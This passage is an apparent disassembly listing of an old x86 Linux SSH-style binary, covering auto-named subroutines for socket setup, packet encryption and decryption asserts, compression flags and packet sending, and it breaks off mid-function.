08055c38  c7 05 28 7e 07 08 00 00 00 00  movl  $0x0,0x8077e28  ;0 'x0 x0 x0 x0' ""
08055c42  6a 01                 push    $0x1
08055c44  6a 00                 push    $0x0
08055c46  68 e0 0f 07 08        push    $0x8070fe0   ;[in .rodata] 1852007936 'x0 x66 x63 x6e' ""
08055c4b  6a 00                 push    $0x0
08055c4d  68 00 ad 07 08        push    $0x807ad00   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux 7.1
                                                       2.96-81)"
08055c52  e8 89 6e 00 00        call    0805cae0 <Unknown0247>
08055c57  83 c4 14              add     $0x14,%esp
08055c5a  6a 00                 push    $0x0
08055c5c  6a 00                 push    $0x0
08055c5e  68 e0 0f 07 08        push    $0x8070fe0   ;[in .rodata] 1852007936 'x0 x66 x63 x6e' ""
08055c63  6a 00                 push    $0x0
08055c65  68 a0 9c 07 08        push    $0x8079ca0   ;[in .bss] 1191182377 'x29 x0 x0 x47' ")"
08055c6a  e8 71 6e 00 00        call    0805cae0 <Unknown0247>
08055c6f  a1 34 7e 07 08        mov     0x8077e34,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08055c74  83 c4 20              add     $0x20,%esp
08055c77  85 c0                 test    %eax,%eax
08055c79  75 3e                 jne     08055cb9 <Unknown0126+0xa1>
08055c7b  83 ec 0c              sub     $0xc,%esp
08055c7e  c7 05 34 7e 07 08 01 00 00 00  movl  $0x1,0x8077e34  ;1 'x1 x0 x0 x0' ""
08055c88  68 54 bd 07 08        push    $0x807bd54   ;[in .bss] 4 'x4 x0 x0 x0' ""
08055c8d  e8 82 fc ff ff        call    08055914 <Unknown0114>
08055c92  c7 04 24 64 bd 07 08  movl    $0x807bd64,(%esp,1)   ;[in .bss] 117 'x75 x0 x0 x0' "u"
08055c99  e8 76 fc ff ff        call    08055914 <Unknown0114>
08055c9e  c7 04 24 74 bd 07 08  movl    $0x807bd74,(%esp,1)   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08055ca5  e8 6a fc ff ff        call    08055914 <Unknown0114>
08055caa  c7 04 24 84 bd 07 08  movl    $0x807bd84,(%esp,1)   ;[in .bss] 4 'x4 x0 x0 x0' ""
08055cb1  e8 5e fc ff ff        call    08055914 <Unknown0114>
08055cb6  83 c4 10              add     $0x10,%esp
08055cb9  83 ec 08              sub     $0x8,%esp
08055cbc  6a 00                 push    $0x0
08055cbe  68 7c 5d 05 08        push    $0x8055d7c   ;[in .bss] 4 'x4 x0 x0 x0' ""
08055cc3  e8 bc a1 ff ff        call    0804fe84 <Unknown0041>
08055cc8  83 c4 10              add     $0x10,%esp
08055ccb  c7 45 0c 01 00 00 00  movl    $0x1,0xc(%ebp)   ;1 'x1 x0 x0 x0' ""
08055cd2  c7 45 08 01 00 00 00  movl    $0x1,0x8(%ebp)   ;1 'x1 x0 x0 x0' ""


  ;
  ; >--------------------<  Subroutine # 127 >--------------------<
  ;
08055cd8 <Unknown0127>:
08055cd8  00 c9                 add     %cl,%cl
08055cda  e9 f5 0c 00 00        jmp     080569d4 <Unknown0162>   ;3317 'xf5 xc x0 x0' ""
08055cdf  90                    nop


  ;
  ; >--------------------<  Subroutine # 128 >--------------------<
  ;
08055ce0 <Unknown0128>:
08055ce0  55                    push    %ebp
08055ce1  89 e5                 mov     %esp,%ebp
08055ce3  83 ec 0c              sub     $0xc,%esp
08055ce6  68 00 08 00 00        push    $0x800   ;2048 'x0 x8 x0 x0' ""
08055ceb  6a 04                 push    $0x4
08055ced  ff 35 20 7e 07 08     pushl   0x8077e20   ;[in .data] -1 'xff xff xff xff' ""
08055cf3  e8 34 45 ff ff        call    0804a22c <fcntl>
08055cf8  83 c4 10              add     $0x10,%esp
08055cfb  85 c0                 test    %eax,%eax
08055cfd  79 20                 jns     08055d1f <Unknown0128+0x3f>
08055cff  83 ec 10              sub     $0x10,%esp
08055d02  e8 35 41 ff ff        call    08049e3c <__errno_location>
08055d07  5a                    pop     %edx
08055d08  ff 30                 pushl   (%eax)
08055d0a  e8 dd 40 ff ff        call    08049dec <strerror>
08055d0f  5a                    pop     %edx
08055d10  59                    pop     %ecx
08055d11  50                    push    %eax
08055d12  68 e1 0f 07 08        push    $0x8070fe1   ;[in .rodata] 1953391462 'x66 x63 x6e x74' "fcntl
                                                       O_NONBLOCK: %.100s"
08055d17  e8 ec a0 ff ff        call    0804fe08 <Unknown0040>
08055d1c  83 c4 10              add     $0x10,%esp
08055d1f  a1 24 7e 07 08        mov     0x8077e24,%eax   ;[in .data] -1 'xff xff xff xff' ""
08055d24  3b 05 20 7e 07 08     cmp     0x8077e20,%eax   ;[in .data] -1 'xff xff xff xff' ""
08055d2a  74 35                 je      08055d61 <Unknown0128+0x81>
08055d2c  51                    push    %ecx
08055d2d  68 00 08 00 00        push    $0x800   ;2048 'x0 x8 x0 x0' ""
08055d32  6a 04                 push    $0x4
```

```
08055d34  50                       push    %eax
08055d35  e8 f2 44 ff ff           call    0804a22c <fcntl>
08055d3a  83 c4 10                 add     $0x10,%esp
08055d3d  85 c0                    test    %eax,%eax
08055d3f  79 20                    jns     08055d61 <Unknown0128+0x81>
08055d41  83 ec 10                 sub     $0x10,%esp
08055d44  e8 f3 40 ff ff           call    08049e3c <__errno_location>
08055d49  5a                       pop     %edx
08055d4a  ff 30                    pushl   (%eax)
08055d4c  e8 9b 40 ff ff           call    08049dec <strerror>
08055d51  5a                       pop     %edx
08055d52  59                       pop     %ecx
08055d53  50                       push    %eax
08055d54  68 e1 0f 07 08           push    $0x8070fe1  ;[in .rodata] 1953391462 'x66 x63 x6e x74' "fcntl
                                                           O_NONBLOCK: %.100s"
08055d59  e8 aa a0 ff ff           call    0804fe08 <Unknown0040>
08055d5e  83 c4 10                 add     $0x10,%esp
08055d61  c9                       leave
08055d62  c3                       ret
08055d63  90                       nop


   ;
   ; >---------------------<  Subroutine # 129 >---------------------<
   ;
08055d64 <Unknown0129>:
08055d64  55                       push    %ebp
08055d65  a1 20 7e 07 08           mov     0x8077e20,%eax  ;[in .data] -1 'xff xff xff xff' ""
08055d6a  89 e5                    mov     %esp,%ebp
08055d6c  5d                       pop     %ebp
08055d6d  c3                       ret
08055d6e  89 f6                    mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 130 >---------------------<
   ;
08055d70 <Unknown0130>:
08055d70  55                       push    %ebp
08055d71  a1 24 7e 07 08           mov     0x8077e24,%eax  ;[in .data] -1 'xff xff xff xff' ""
08055d76  89 e5                    mov     %esp,%ebp
08055d78  5d                       pop     %ebp
08055d79  c3                       ret
08055d7a  89 f6                    mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 131 >---------------------<
   ;
08055d7c <Unknown0131>:
08055d7c  55                       push    %ebp
08055d7d  89 e5                    mov     %esp,%ebp
08055d7f  8b 0d 34 7e 07 08        mov     0x8077e34,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08055d85  83 ec 08                 sub     $0x8,%esp
08055d88  85 c9                    test    %ecx,%ecx
08055d8a  0f 84 93 00 00 00        je      08055e23 <Unknown0131+0xa7>  ;147 'x93 x0 x0 x0' ""
08055d90  a1 20 7e 07 08           mov     0x8077e20,%eax  ;[in .data] -1 'xff xff xff xff' ""
08055d95  3b 05 24 7e 07 08        cmp     0x8077e24,%eax  ;[in .data] -1 'xff xff xff xff' ""
08055d9b  c7 05 34 7e 07 08 00 00 00 00  movl  $0x0,0x8077e34  ;0 'x0 x0 x0 x0' ""
08055da5  75 11                    jne     08055db8 <Unknown0131+0x3c>
08055da7  83 ec 08                 sub     $0x8,%esp
08055daa  6a 02                    push    $0x2
08055dac  50                       push    %eax
08055dad  e8 0a 41 ff ff           call    08049ebc <shutdown>
08055db2  5a                       pop     %edx
08055db3  eb 0d                    jmp     08055dc2 <Unknown0131+0x46>
08055db5  8d 76 00                 lea     0x0(%esi),%esi
08055db8  83 ec 0c                 sub     $0xc,%esp
08055dbb  50                       push    %eax
08055dbc  e8 1b 3f ff ff           call    08049cdc <close>
08055dc1  58                       pop     %eax
08055dc2  ff 35 24 7e 07 08        pushl   0x8077e24  ;[in .data] -1 'xff xff xff xff' ""
08055dc8  e8 0f 3f ff ff           call    08049cdc <close>
08055dcd  83 c4 10                 add     $0x10,%esp
08055dd0  83 ec 0c                 sub     $0xc,%esp
08055dd3  68 54 bd 07 08           push    $0x807bd54  ;[in .bss] 4 'x4 x0 x0 x0' ""
08055dd8  e8 67 fb ff ff           call    08055944 <Unknown0115>
08055ddd  c7 04 24 64 bd 07 08     movl    $0x807bd64,(%esp,1)  ;[in .bss] 117 'x75 x0 x0 x0' "u"
08055de4  e8 5b fb ff ff           call    08055944 <Unknown0115>
08055de9  c7 04 24 74 bd 07 08     movl    $0x807bd74,(%esp,1)  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08055df0  e8 4f fb ff ff           call    08055944 <Unknown0115>
08055df5  c7 04 24 84 bd 07 08     movl    $0x807bd84,(%esp,1)  ;[in .bss] 4 'x4 x0 x0 x0' ""
08055dfc  e8 43 fb ff ff           call    08055944 <Unknown0115>
08055e01  8b 0d 30 7e 07 08        mov     0x8077e30,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
```

```
08055e07   83 c4 10              add     $0x10,%esp
08055e0a   85 c9                 test    %ecx,%ecx
08055e0c   74 15                 je      08055e23 <Unknown0131+0xa7>
08055e0e   83 ec 0c              sub     $0xc,%esp
08055e11   68 94 bd 07 08        push    $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
08055e16   e8 29 fb ff ff        call    08055944 <Unknown0115>
08055e1b   e8 c0 0d 00 00        call    08056be0 <Unknown0167>
08055e20   83 c4 10              add     $0x10,%esp
08055e23   c9                    leave
08055e24   c3                    ret
08055e25   8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 132 >--------------------<
  ;
08055e28 <Unknown0132>:
08055e28   55                    push    %ebp
08055e29   89 e5                 mov     %esp,%ebp
08055e2b   83 ec 08              sub     $0x8,%esp
08055e2e   8b 45 08              mov     0x8(%ebp),%eax
08055e31   a3 2c 7e 07 08        mov     %eax,0x8077e2c  ;[in .data] 0 'x0 x0 x0 x0' ""
08055e36   d1 e8                 shr     %eax
08055e38   83 e0 01              and     $0x1,%eax
08055e3b   89 45 08              mov     %eax,0x8(%ebp)
08055e3e   c9                    leave
08055e3f   e9 08 21 00 00        jmp     08057f4c <Unknown0178>  ;8456 'x8 x21 x0 x0' ""


  ;
  ; >--------------------< Subroutine # 133 >--------------------<
  ;
08055e44 <Unknown0133>:
08055e44   55                    push    %ebp
08055e45   a1 2c 7e 07 08        mov     0x8077e2c,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08055e4a   89 e5                 mov     %esp,%ebp
08055e4c   5d                    pop     %ebp
08055e4d   c3                    ret
08055e4e   89 f6                 mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 134 >--------------------<
  ;
08055e50 <Unknown0134>:
08055e50   55                    push    %ebp
08055e51   89 e5                 mov     %esp,%ebp
08055e53   53                    push    %ebx
08055e54   52                    push    %edx
08055e55   a1 30 7e 07 08        mov     0x8077e30,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08055e5a   85 c0                 test    %eax,%eax
08055e5c   8b 5d 08              mov     0x8(%ebp),%ebx
08055e5f   74 10                 je      08055e71 <Unknown0134+0x21>
08055e61   83 ec 0c              sub     $0xc,%esp
08055e64   68 fa 0f 07 08        push    $0x8070ffa  ;[in .rodata] 1886220099 'x43 x6f x6d x70' "Compression
                                                      already enabled."
08055e69   e8 ee a0 ff ff        call    0804ff5c <Unknown0044>
08055e6e   83 c4 10              add     $0x10,%esp
08055e71   83 ec 0c              sub     $0xc,%esp
08055e74   c7 05 30 7e 07 08 01 00 00 00   movl    $0x1,0x8077e30  ;1 'x1 x0 x0 x0' ""
08055e7e   68 94 bd 07 08        push    $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
08055e83   e8 8c fa ff ff        call    08055914 <Unknown0114>
08055e88   83 c4 10              add     $0x10,%esp
08055e8b   89 5d 08              mov     %ebx,0x8(%ebp)
08055e8e   8b 5d fc              mov     0xfffffffc(%ebp),%ebx
08055e91   c9                    leave
08055e92   e9 ed 0c 00 00        jmp     08056b84 <Unknown0166>  ;3309 'xed xc x0 x0' ""
08055e97   90                    nop


  ;
  ; >--------------------< Subroutine # 135 >--------------------<
  ;
08055e98 <Unknown0135>:
08055e98   55                    push    %ebp
08055e99   89 e5                 mov     %esp,%ebp
08055e9b   53                    push    %ebx
08055e9c   51                    push    %ecx
08055e9d   8b 45 14              mov     0x14(%ebp),%eax
08055ea0   a9 07 00 00 00        test    $0x7,%eax  ;7 'x7 x0 x0 x0' ""
08055ea5   8b 5d 08              mov     0x8(%ebp),%ebx
08055ea8   8b 4d 0c              mov     0xc(%ebp),%ecx
08055eab   8b 55 10              mov     0x10(%ebp),%edx
08055eae   74 1c                 je      08055ecc <Unknown0135+0x34>
```

```
08055eb0   68 17 10 07 08         push    $0x8071017  ;[in .rodata] 1801675120 'x70 x61 x63 x6b'
                                                        "packet_encrypt"
08055eb5   68 1f 01 00 00         push    $0x11f   ;287 'x1f x1 x0 x0' ""
08055eba   68 26 10 07 08         push    $0x8071026  ;[in .rodata] 1801675120 'x70 x61 x63 x6b' "packet.c"
08055ebf   68 2f 10 07 08         push    $0x807102f  ;[in .rodata] 1954112040 'x28 x62 x79 x74' "(bytes % 8)
                                                        == 0"
08055ec4   e8 03 3f ff ff         call    08049dcc <__assert_fail>
08055ec9   8d 76 00               lea     0x0(%esi),%esi
08055ecc   89 5d 08               mov     %ebx,0x8(%ebp)
08055ecf   89 45 14               mov     %eax,0x14(%ebp)
08055ed2   89 55 10               mov     %edx,0x10(%ebp)
08055ed5   89 4d 0c               mov     %ecx,0xc(%ebp)
08055ed8   8b 5d fc               mov     0xfffffffc(%ebp),%ebx
08055edb   c9                     leave
08055edc   e9 bb 6d 00 00         jmp     0805cc9c <Unknown0248>  ;28091 'xbb x6d x0 x0' ""
08055ee1   8d 76 00               lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 136 >---------------------<
  ;
08055ee4 <Unknown0136>:
08055ee4   55                     push    %ebp
08055ee5   89 e5                  mov     %esp,%ebp
08055ee7   57                     push    %edi
08055ee8   56                     push    %esi
08055ee9   53                     push    %ebx
08055eea   83 ec 0c               sub     $0xc,%esp
08055eed   8b 5d 14               mov     0x14(%ebp),%ebx
08055ef0   8b 45 0c               mov     0xc(%ebp),%eax
08055ef3   f7 c3 07 00 00 00      test    $0x7,%ebx   ;7 'x7 x0 x0 x0' ""
08055ef9   8b 7d 08               mov     0x8(%ebp),%edi
08055efc   89 45 f0               mov     %eax,0xfffffff0(%ebp)
08055eff   8b 75 10               mov     0x10(%ebp),%esi
08055f02   74 1c                  je      08055f20 <Unknown0136+0x3c>
08055f04   68 40 10 07 08         push    $0x8071040  ;[in .rodata] 1801675120 'x70 x61 x63 x6b'
                                                        "packet_decrypt"
08055f09   68 2b 01 00 00         push    $0x12b   ;299 'x2b x1 x0 x0' "+"
08055f0e   68 26 10 07 08         push    $0x8071026  ;[in .rodata] 1801675120 'x70 x61 x63 x6b' "packet.c"
08055f13   68 2f 10 07 08         push    $0x807102f  ;[in .rodata] 1954112040 'x28 x62 x79 x74' "(bytes % 8)
                                                        == 0"
08055f18   e8 af 3e ff ff         call    08049dcc <__assert_fail>
08055f1d   8d 76 00               lea     0x0(%esi),%esi
08055f20   8b 17                  mov     (%edi),%edx
08055f22   31 c0                  xor     %eax,%eax
08055f24   85 d2                  test    %edx,%edx
08055f26   74 19                  je      08055f41 <Unknown0136+0x5d>
08055f28   4a                     dec     %edx
08055f29   75 09                  jne     08055f34 <Unknown0136+0x50>
08055f2b   52                     push    %edx
08055f2c   8d 47 6c               lea     0x6c(%edi),%eax
08055f2f   50                     push    %eax
08055f30   eb 05                  jmp     08055f37 <Unknown0136+0x53>
08055f32   89 f6                  mov     %esi,%esi
08055f34   50                     push    %eax
08055f35   6a 00                  push    $0x0
08055f37   53                     push    %ebx
08055f38   56                     push    %esi
08055f39   e8 fa a1 00 00         call    08060138 <Unknown0303>
08055f3e   83 c4 10               add     $0x10,%esp
08055f41   48                     dec     %eax
08055f42   75 10                  jne     08055f54 <Unknown0136+0x70>
08055f44   83 ec 0c               sub     $0xc,%esp
08055f47   68 60 10 07 08         push    $0x8071060  ;[in .rodata] 862155363 'x63 x72 x63 x33' "crc32
                                                        compensation attack: network attack detected"
08055f4c   e8 8f 08 00 00         call    080567e0 <Unknown0157>
08055f51   83 c4 10               add     $0x10,%esp
08055f54   8b 45 f0               mov     0xfffffff0(%ebp),%eax
08055f57   89 5d 14               mov     %ebx,0x14(%ebp)
08055f5a   89 75 10               mov     %esi,0x10(%ebp)
08055f5d   89 45 0c               mov     %eax,0xc(%ebp)
08055f60   89 7d 08               mov     %edi,0x8(%ebp)
08055f63   8d 65 f4               lea     0xfffffff4(%ebp),%esp
08055f66   5b                     pop     %ebx
08055f67   5e                     pop     %esi
08055f68   5f                     pop     %edi
08055f69   5d                     pop     %ebp
08055f6a   e9 f1 6d 00 00         jmp     0805cd60 <Unknown0249>  ;28145 'xf1 x6d x0 x0' ""
08055f6f   90                     nop


  ;
  ; >---------------------<  Subroutine # 137 >---------------------<
  ;
```

```
08055f70 <Unknown0137>:
08055f70   55                        push   %ebp
08055f71   89 e5                     mov    %esp,%ebp
08055f73   57                        push   %edi
08055f74   56                        push   %esi
08055f75   53                        push   %ebx
08055f76   83 ec 0c                  sub    $0xc,%esp
08055f79   8b 5d 10                  mov    0x10(%ebp),%ebx
08055f7c   83 fb 05                  cmp    $0x5,%ebx
08055f7f   8b 7d 08                  mov    0x8(%ebp),%edi
08055f82   8b 75 0c                  mov    0xc(%ebp),%esi
08055f85   89 1d 28 7e 07 08         mov    %ebx,0x8077e28   ;[in .data] 0 'x0 x0 x0 x0' ""
08055f8b   75 57                     jne    08055fe4 <Unknown0137+0x74>
08055f8d   8b 4d 14                  mov    0x14(%ebp),%ecx
08055f90   85 c9                     test   %ecx,%ecx
08055f92   74 28                     je     08055fbc <Unknown0137+0x4c>
08055f94   83 ec 0c                  sub    $0xc,%esp
08055f97   89 f3                     mov    %esi,%ebx
08055f99   6a 00                     push   $0x0
08055f9b   d1 eb                     shr    %ebx
08055f9d   53                        push   %ebx
08055f9e   57                        push   %edi
08055f9f   6a 05                     push   $0x5
08055fa1   68 a0 9c 07 08            push   $0x8079ca0   ;[in .bss] 1191182377 'x29 x0 x0 x47' ")"
08055fa6   e8 35 6b 00 00            call   0805cae0 <Unknown0247>
08055fab   83 c4 14                  add    $0x14,%esp
08055fae   6a 01                     push   $0x1
08055fb0   53                        push   %ebx
08055fb1   8d 1c 3b                  lea    (%ebx,%edi,1),%ebx
08055fb4   53                        push   %ebx
08055fb5   6a 05                     push   $0x5
08055fb7   eb 45                     jmp    08055ffe <Unknown0137+0x8e>
08055fb9   8d 76 00                  lea    0x0(%esi),%esi
08055fbc   83 ec 0c                  sub    $0xc,%esp
08055fbf   89 f3                     mov    %esi,%ebx
08055fc1   6a 00                     push   $0x0
08055fc3   d1 eb                     shr    %ebx
08055fc5   53                        push   %ebx
08055fc6   8d 04 3b                  lea    (%ebx,%edi,1),%eax
08055fc9   50                        push   %eax
08055fca   6a 05                     push   $0x5
08055fcc   68 a0 9c 07 08            push   $0x8079ca0   ;[in .bss] 1191182377 'x29 x0 x0 x47' ")"
08055fd1   e8 0a 6b 00 00            call   0805cae0 <Unknown0247>
08055fd6   83 c4 14                  add    $0x14,%esp
08055fd9   6a 01                     push   $0x1
08055fdb   53                        push   %ebx
08055fdc   57                        push   %edi
08055fdd   6a 05                     push   $0x5
08055fdf   eb 1d                     jmp    08055ffe <Unknown0137+0x8e>
08055fe1   8d 76 00                  lea    0x0(%esi),%esi
08055fe4   83 ec 0c                  sub    $0xc,%esp
08055fe7   6a 00                     push   $0x0
08055fe9   56                        push   %esi
08055fea   57                        push   %edi
08055feb   53                        push   %ebx
08055fec   68 a0 9c 07 08            push   $0x8079ca0   ;[in .bss] 1191182377 'x29 x0 x0 x47' ")"
08055ff1   e8 ea 6a 00 00            call   0805cae0 <Unknown0247>
08055ff6   83 c4 14                  add    $0x14,%esp
08055ff9   6a 01                     push   $0x1
08055ffb   56                        push   %esi
08055ffc   57                        push   %edi
08055ffd   53                        push   %ebx
08055ffe   68 00 ad 07 08            push   $0x807ad00   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux 7.1
                                                          2.96-81)"
08056003   e8 d8 6a 00 00            call   0805cae0 <Unknown0247>
08056008   83 c4 20                  add    $0x20,%esp
0805600b   8d 65 f4                  lea    0xfffffff4(%ebp),%esp
0805600e   5b                        pop    %ebx
0805600f   5e                        pop    %esi
08056010   5f                        pop    %edi
08056011   5d                        pop    %ebp
08056012   c3                        ret
08056013   90                        nop


  ;
  ; >---------------------<  Subroutine # 138 >---------------------<
  ;
08056014 <Unknown0138>:
08056014   55                        push   %ebp
08056015   89 e5                     mov    %esp,%ebp
08056017   53                        push   %ebx
08056018   83 ec 20                  sub    $0x20,%esp
0805601b   68 74 bd 07 08            push   $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
```

```
08056020  8b 5d 08              mov     0x8(%ebp),%ebx
08056023  e8 44 f9 ff ff        call    0805596c <Unknown0116>
08056028  83 c4 0c              add     $0xc,%esp
0805602b  6a 09                 push    $0x9
0805602d  8d 45 e8              lea     0xffffffe8(%ebp),%eax
08056030  50                    push    %eax
08056031  88 5d f0              mov     %bl,0xfffffff0(%ebp)
08056034  c7 45 e8 00 00 00 00  movl    $0x0,0xffffffe8(%ebp)


  ;
  ; >--------------------< Subroutine # 139 >--------------------<
  ;
0805603b <Unknown0139>:
0805603b  c7 45 ec 00 00 00 00  movl    $0x0,0xffffffec(%ebp)   ;0 'x0 x0 x0 x0' ""
08056042  68 74 bd 07 08        push    $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056047  e8 38 f9 ff ff        call    08055984 <Unknown0117>
0805604c  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
0805604f  c9                    leave
08056050  c3                    ret
08056051  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 140 >--------------------<
  ;
08056054 <Unknown0140>:
08056054  55                    push    %ebp
08056055  89 e5                 mov     %esp,%ebp
08056057  83 ec 0c              sub     $0xc,%esp
0805605a  8b 45 08              mov     0x8(%ebp),%eax
0805605d  6a 01                 push    $0x1
0805605f  88 45 ff              mov     %al,0xffffffff(%ebp)
08056062  8d 45 ff              lea     0xffffffff(%ebp),%eax
08056065  50                    push    %eax
08056066  68 74 bd 07 08        push    $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
0805606b  e8 14 f9 ff ff        call    08055984 <Unknown0117>
08056070  c9                    leave
08056071  c3                    ret
08056072  89 f6                 mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 141 >--------------------<
  ;
08056074 <Unknown0141>:
08056074  55                    push    %ebp
08056075  89 e5                 mov     %esp,%ebp
08056077  83 ec 10              sub     $0x10,%esp
0805607a  ff 75 08              pushl   0x8(%ebp)
0805607d  68 74 bd 07 08        push    $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056082  e8 f1 49 00 00        call    0805aa78 <Unknown0222>
08056087  c9                    leave
08056088  c3                    ret
08056089  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 142 >--------------------<
  ;
0805608c <Unknown0142>:
0805608c  55                    push    %ebp
0805608d  89 e5                 mov     %esp,%ebp
0805608f  83 ec 0c              sub     $0xc,%esp
08056092  ff 75 0c              pushl   0xc(%ebp)
08056095  ff 75 08              pushl   0x8(%ebp)
08056098  68 74 bd 07 08        push    $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
0805609d  e8 86 4a 00 00        call    0805ab28 <Unknown0224>
080560a2  c9                    leave
080560a3  c3                    ret


  ;
  ; >--------------------< Subroutine # 143 >--------------------<
  ;
080560a4 <Unknown0143>:
080560a4  55                    push    %ebp
080560a5  89 e5                 mov     %esp,%ebp
080560a7  83 ec 10              sub     $0x10,%esp
080560aa  ff 75 08              pushl   0x8(%ebp)
080560ad  68 74 bd 07 08        push    $0x807bd74   ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080560b2  e8 b9 47 00 00        call    0805a870 <Unknown0219>
080560b7  c9                    leave
080560b8  c3                    ret
```

```
080560b9  8d 76 00                    lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 144 >--------------------<
  ;
080560bc <Unknown0144>:
080560bc  55                          push   %ebp
080560bd  89 e5                       mov    %esp,%ebp
080560bf  57                          push   %edi
080560c0  56                          push   %esi
080560c1  53                          push   %ebx
080560c2  83 ec 28                    sub    $0x28,%esp
080560c5  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080560ca  e8 79 f9 ff ff              call   08055a48 <Unknown0119>
080560cf  8b 0d 3c 7e 07 08           mov    0x8077e3c,%ecx  ;[in .data] 256000 'x0 xe8 x3 x0' ""
080560d5  8d 51 e2                    lea    0xffffffe2(%ecx),%edx
080560d8  83 c4 10                    add    $0x10,%esp
080560db  39 d0                       cmp    %edx,%eax
080560dd  72 1d                       jb     080560fc <Unknown0144+0x40>
080560df  50                          push   %eax
080560e0  51                          push   %ecx
080560e1  57                          push   %edi
080560e2  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080560e7  e8 5c f9 ff ff              call   08055a48 <Unknown0119>
080560ec  5b                          pop    %ebx
080560ed  5e                          pop    %esi
080560ee  50                          push   %eax
080560ef  68 a0 10 07 08              push   $0x80710a0  ;[in .rodata] 1801675120 'x70 x61 x63 x6b'
                                                          "packet_send: sending too big a packet: size %u, limit
                                                          %u."
080560f4  e8 63 9e ff ff              call   0804ff5c <Unknown0044>
080560f9  83 c4 10                    add    $0x10,%esp
080560fc  8b 0d 30 7e 07 08           mov    0x8077e30,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08056102  85 c9                       test   %ecx,%ecx
08056104  74 77                       je     0805617d <Unknown0144+0xc1>
08056106  83 ec 0c                    sub    $0xc,%esp
08056109  68 94 bd 07 08              push   $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
0805610e  e8 59 f8 ff ff              call   0805596c <Unknown0116>
08056113  58                          pop    %eax
08056114  5a                          pop    %edx
08056115  6a 08                       push   $0x8
08056117  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
0805611c  e8 7b f9 ff ff              call   08055a9c <Unknown0121>
08056121  83 c4 0c                    add    $0xc,%esp
08056124  6a 08                       push   $0x8
08056126  68 da 10 07 08              push   $0x80710da  ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805612b  68 94 bd 07 08              push   $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
08056130  e8 4f f8 ff ff              call   08055984 <Unknown0117>
08056135  5e                          pop    %esi
08056136  5f                          pop    %edi
08056137  68 94 bd 07 08              push   $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
0805613c  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056141  e8 56 0b 00 00              call   08056c9c <Unknown0168>
08056146  c7 04 24 74 bd 07 08        movl   $0x807bd74,(%esp,1)  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
0805614d  e8 1a f8 ff ff              call   0805596c <Unknown0116>
08056152  c7 04 24 94 bd 07 08        movl   $0x807bd94,(%esp,1)  ;[in .bss] 6 'x6 x0 x0 x0' ""
08056159  e8 ea f8 ff ff              call   08055a48 <Unknown0119>
0805615e  83 c4 0c                    add    $0xc,%esp
08056161  50                          push   %eax
08056162  53                          push   %ebx
08056163  68 94 bd 07 08              push   $0x807bd94  ;[in .bss] 6 'x6 x0 x0 x0' ""
08056168  e8 9f f9 ff ff              call   08055b0c <Unknown0123>
0805616d  5a                          pop    %edx
0805616e  59                          pop    %ecx
0805616f  50                          push   %eax
08056170  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056175  e8 0a f8 ff ff              call   08055984 <Unknown0117>
0805617a  83 c4 10                    add    $0x10,%esp
0805617d  83 ec 0c                    sub    $0xc,%esp
08056180  68 74 bd 07 08              push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056185  e8 be f8 ff ff              call   08055a48 <Unknown0119>
0805618a  8d 70 fc                    lea    0xfffffffc(%eax),%esi
0805618d  85 f6                       test   %esi,%esi
0805618f  89 f2                       mov    %esi,%edx
08056191  79 03                       jns    08056196 <Unknown0144+0xda>
08056193  8d 50 03                    lea    0x3(%eax),%edx
08056196  83 e2 f8                    and    $0xfffffff8,%edx
08056199  89 f0                       mov    %esi,%eax
0805619b  29 d0                       sub    %edx,%eax
0805619d  bf 08 00 00 00              mov    $0x8,%edi  ;8 'x8 x0 x0 x0' ""
080561a2  29 c7                       sub    %eax,%edi
080561a4  a1 28 7e 07 08              mov    0x8077e28,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080561a9  83 c4 10                    add    $0x10,%esp
```

```
080561ac  85 c0                  test   %eax,%eax
080561ae  74 3a                  je     080561ea <Unknown0144+0x12e>
080561b0  83 ec 0c               sub    $0xc,%esp
080561b3  68 74 bd 07 08         push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080561b8  31 db                  xor    %ebx,%ebx
